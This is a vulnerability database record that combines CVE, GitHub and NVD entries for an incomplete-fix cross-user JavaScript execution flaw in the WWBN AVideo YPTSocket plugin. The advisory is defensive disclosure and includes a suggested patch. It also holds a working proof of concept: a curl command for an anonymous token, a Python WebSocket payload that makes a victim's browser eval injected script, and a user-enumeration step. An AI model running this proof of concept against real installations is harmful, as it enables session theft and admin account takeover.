{"id":"CVE-2026-43874","aliases":["CVE-2026-43874","GHSA-ghcv-22jf-vfxm"],"related":[],"kind":"vulnerability","state":"published","title":"WWBN AVideo: Incomplete Fix for YPTSocket autoEvalCodeOnHTML Strip: Unauthenticated Cross-User JavaScript Execution via `$msg['json']` Relay Bypass","summary":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, the server-side mitigation for the YPTSocket autoEvalCodeOnHTML eval sink (from CVE-2026-40911) only strips the payload when it sits under $json['msg'], but the relay function msgToResourceId() selects the outbound message from $msg['json'] before $msg['msg']. An unauthenticated attacker can obtain a WebSocket token from plugin/YPTSocket/getWebSocket.json.php, connect to the WebSocket server, and send a message with autoEvalCodeOnHTML nested under a top-level json field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by to_users_id, and the client script runs it through eval(). Commit 9f3006f9a89a34daa67a83c6ad35f450cb91fcce contains an updated fix.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, the server-side mitigation for the YPTSocket autoEvalCodeOnHTML eval sink (from CVE-2026-40911) only strips the payload when it sits under $json['msg'], but the relay function msgToResourceId() selects the outbound message from $msg['json'] before $msg['msg']. An unauthenticated attacker can obtain a WebSocket token from plugin/YPTSocket/getWebSocket.json.php, connect to the WebSocket server, and send a message with autoEvalCodeOnHTML nested under a top-level json field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by to_users_id, and the client script runs it through eval(). Commit 9f3006f9a89a34daa67a83c6ad35f450cb91fcce contains an updated fix.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe server-side mitigation for the YPTSocket `autoEvalCodeOnHTML` eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit `c08694bf6`) only strips the payload when it sits under `$json['msg']`, but the relay function `msgToResourceId()` selects the outbound message from `$msg['json']` *before* `$msg['msg']`. An unauthenticated attacker can obtain a WebSocket token from `plugin/YPTSocket/getWebSocket.json.php`, connect to the WebSocket server, and send a message with `autoEvalCodeOnHTML` nested under a top-level `json` field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by `to_users_id`, and the client script runs it through `eval()`.\n\n## Details\n\n### Entry point (unauthenticated)\n\n`plugin/YPTSocket/getWebSocket.json.php` (lines 1–21) issues a valid WebSocket token to any caller, with no authentication or CSRF check:\n\n```php\n$obj->webSocketToken = getEncryptedInfo(0);\n$obj->webSocketURL = YPTSocket::getWebSocketURL();\ndie(json_encode($obj));\n```\n\n`getEncryptedInfo()` defaults to `sentFrom = 'browser'` and a non-CLI flag (`plugin/YPTSocket/functions.php:3-47`), so a token minted for an anonymous browser client will cause the strip branch below to run — which is exactly what we want to audit.\n\n### Incomplete strip (the fix from commit c08694bf6)\n\n`plugin/YPTSocket/Message.php:236-247`:\n\n```php\n// Strip eval-able fields from browser/guest messages.\nif (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {\n    if (is_array($json['msg'] ?? null)) {\n        unset($json['msg']['autoEvalCodeOnHTML']);          // <-- only strips $json['msg']\n    }\n    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {\n        unset($json['callback']);\n    }\n}\n```\n\nIf the incoming `$json['msg']` is a scalar (e.g. the string `\"x\"`), `is_array(...)` is false and the strip is skipped entirely. Any eval-able content that lives elsewhere in `$json` passes through untouched. The same flawed check exists in `plugin/YPTSocket/MessageSQLiteV2.php:285-293`.\n\n### Relay preference picks the untouched field\n\n`plugin/YPTSocket/Message.php:316-322` (and the mirror at `MessageSQLiteV2.php:396-402`):\n\n```php\nif (!empty($msg['json'])) {\n    $obj['msg'] = $msg['json'];          // <-- preferred carrier; never stripped\n} else if (!empty($msg['msg'])) {\n    $obj['msg'] = $msg['msg'];\n} else {\n    $obj['msg'] = $msg;\n}\n```\n\nAn attacker payload shaped as `{\"msg\": \"x\", \"json\": {\"autoEvalCodeOnHTML\": \"<js>\"}, \"to_users_id\": <victim>}` therefore:\n\n1. Passes `switch ($json->msg)` into the `default` case (Message.php:211, 228).\n2. `msgToArray($json)` converts to array. The strip branch enters because `sentFrom === 'browser'`, but `is_array(\"x\")` is false and the strip is skipped.\n3. Routing lands on `msgToUsers_id($json, $json['to_users_id'])` (Message.php:253), which for each matching resource calls `msgToResourceId($msg, $resourceId)` (Message.php:379).\n4. In `msgToResourceId`, `!empty($msg['json'])` is true, so `$obj['msg']` becomes `{\"autoEvalCodeOnHTML\": \"<js>\"}` (Message.php:316-317).\n5. The `shouldPropagateInfo()` check at Message.php:287-289 only logs — it does not return — so delivery proceeds regardless.\n\n### Client-side sink\n\n`plugin/YPTSocket/script.js:573-575`:\n\n```js\nif (json.msg?.autoEvalCodeOnHTML !== undefined) {\n    eval(json.msg.autoEvalCodeOnHTML);\n}\n```\n\nAny logged-in user with an active browser tab runs the attacker-supplied JavaScript in the origin of the AVideo installation.\n\n### Routing to any user\n\n`msgToUsers_id()` (Message.php:362-389) looks up `to_users_id` against `$this->clientsUsersId` and relays to every resource belonging to that user. Because `to_users_id` comes straight from attacker input, any currently connected user (regular or admin) can be targeted. Active users_id values can be enumerated via the existing `getClientsList` request handled at Message.php:219-224 using the same unauthenticated token.\n\n## PoC\n\nStep 1 — mint an unauthenticated WebSocket token:\n\n```bash\ncurl -sk 'https://target/plugin/YPTSocket/getWebSocket.json.php'\n# {\"error\":false,\"webSocketToken\":\"<TOKEN>\",\"webSocketURL\":\"wss://target:2053?webSocketToken=<TOKEN>&isCommandLine=0\", ...}\n```\n\nStep 2 — connect and send the crafted message:\n\n```python\nimport json, ssl, websocket\n\nTOKEN  = '<TOKEN>'          # from step 1\nURL    = 'wss://target:2053?webSocketToken=' + TOKEN + '&isCommandLine=0'\nVICTIM = 2                  # any logged-in users_id with an open tab\n\nws = websocket.create_connection(URL, sslopt={'cert_reqs': ssl.CERT_NONE})\npayload = {\n    'msg': 'x',                                                  # scalar -> strip branch skipped\n    'webSocketToken': TOKEN,\n    'json': {'autoEvalCodeOnHTML': \"alert('XSS in '+document.domain)\"},\n    'to_users_id': VICTIM,\n}\nws.send(json.dumps(payload))\nws.close()\n```\n\nExpected result: the victim's tab receives `{\"type\":\"DEFAULT_MESSAGE\",\"msg\":{\"autoEvalCodeOnHTML\":\"alert(...)\"}, ...}` and executes the JavaScript via `eval()`.\n\nOptional Step 0 — enumerate active users (using the same token):\n\n```python\nws.send(json.dumps({'msg': 'getClientsList', 'webSocketToken': TOKEN}))\n# response lists active users_id values\n```\n\n## Impact\n\n- **Unauthenticated XSS / arbitrary JS execution in any logged-in user's browser session.** The victim only needs a tab open on the site — no click, no link, no CSRF.\n- **Same-origin compromise:** the attacker's JS runs in the target origin, so it can read DOM/tokens, make authenticated XHR calls on the victim's behalf, and exfiltrate session data.\n- **Privilege escalation when an admin is targeted:** arbitrary admin-panel actions via same-origin XHR — account takeover, plugin configuration changes, file uploads, etc.\n- **Mass exploitation feasible:** `getClientsList` (also reachable with the anonymous token) enumerates active `users_id` values, and the attacker can iterate `to_users_id` across all of them.\n- This is an incomplete fix for GHSA-gph2-j4c9-vhhr — deployments that patched to commit `c08694bf6` remain exploitable.\n\n## Recommended Fix\n\nScrub `autoEvalCodeOnHTML` from **every** outbound carrier the relay may choose, not only from `$json['msg']`. Patch both `plugin/YPTSocket/Message.php` and `plugin/YPTSocket/MessageSQLiteV2.php`. For example, replace the current strip in `onMessage()`:\n\n```php\nif (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {\n    foreach (['msg', 'json'] as $k) {\n        if (is_array($json[$k] ?? null)) {\n            unset($json[$k]['autoEvalCodeOnHTML']);\n        }\n    }\n    // also strip a top-level field so the fallback `$obj['msg'] = $msg` path is safe\n    if (isset($json['autoEvalCodeOnHTML'])) {\n        unset($json['autoEvalCodeOnHTML']);\n    }\n    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {\n        unset($json['callback']);\n    }\n}\n```\n\nAdditionally, harden the relay itself in `msgToResourceId()` (both files) so future regressions cannot reintroduce the sink — walk the chosen `$obj['msg']` recursively and unset `autoEvalCodeOnHTML` whenever the message originated from a non-PHP, non-CLI client. As defense in depth, remove or gate the client-side `eval(json.msg.autoEvalCodeOnHTML)` at `plugin/YPTSocket/script.js:573-575` behind a server-signed field rather than a plain JSON key.","format":"markdown","source":"ghsa"},{"lang":"es","text":"WWBN AVideo es una plataforma de video de código abierto. En versiones hasta la 29.0 inclusive, la mitigación del lado del servidor para el eval sink autoEvalCodeOnHTML de YPTSocket (de CVE-2026-40911) solo elimina la carga útil cuando se encuentra bajo $json[’msg’], pero la función de retransmisión msgToResourceId() selecciona el mensaje saliente de $msg[’json’] antes de $msg[’msg’]. Un atacante no autenticado puede obtener un token de WebSocket de plugin/YPTSocket/getWebSocket.json.php, conectarse al servidor WebSocket y enviar un mensaje con autoEvalCodeOnHTML anidado bajo un campo json de nivel superior - la rama de eliminación se omite, la retransmisión entrega la carga útil textualmente a cualquier usuario conectado identificado por to_users_id, y el script del cliente lo ejecuta a través de eval(). El commit 9f3006f9a89a34daa67a83c6ad35f450cb91fcce contiene una corrección actualizada.","source":"nvd"}],"published":"2026-05-05T19:07:09.000Z","modified":"2026-10-26T18:10:00.173Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"version":"<= 29.0","status":"affected"}],"vendor":"WWBN","product":"AVideo","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"29.0"}],"ecosystem":"Packagist","package":"wwbn/avideo","purl":"pkg:composer/wwbn/avideo","source":"ghsa"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-ghcv-22jf-vfxm","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/WWBN/AVideo/commit/9f3006f9a89a34daa67a83c6ad35f450cb91fcce","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43874","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/advisories/GHSA-gph2-j4c9-vhhr","tags":["advisory"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-12T13:23:59.294Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-43874","url":"https://www.cve.org/CVERecord?id=CVE-2026-43874","licence":"CVE Terms of Use","modified":"2026-05-12T13:24:03.400Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-ghcv-22jf-vfxm","url":"https://github.com/advisories/GHSA-ghcv-22jf-vfxm","licence":"CC-BY-4.0","modified":"2026-05-13T14:33:40.912Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-43874","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43874","licence":"Public domain","modified":"2026-10-26T18:10:00.173Z"}],"updatedAt":"2026-11-25T22:59:21.293Z","epss":{"score":0.00293,"percentile":0.23551,"date":"2026-12-01T12:00:22.000Z"}}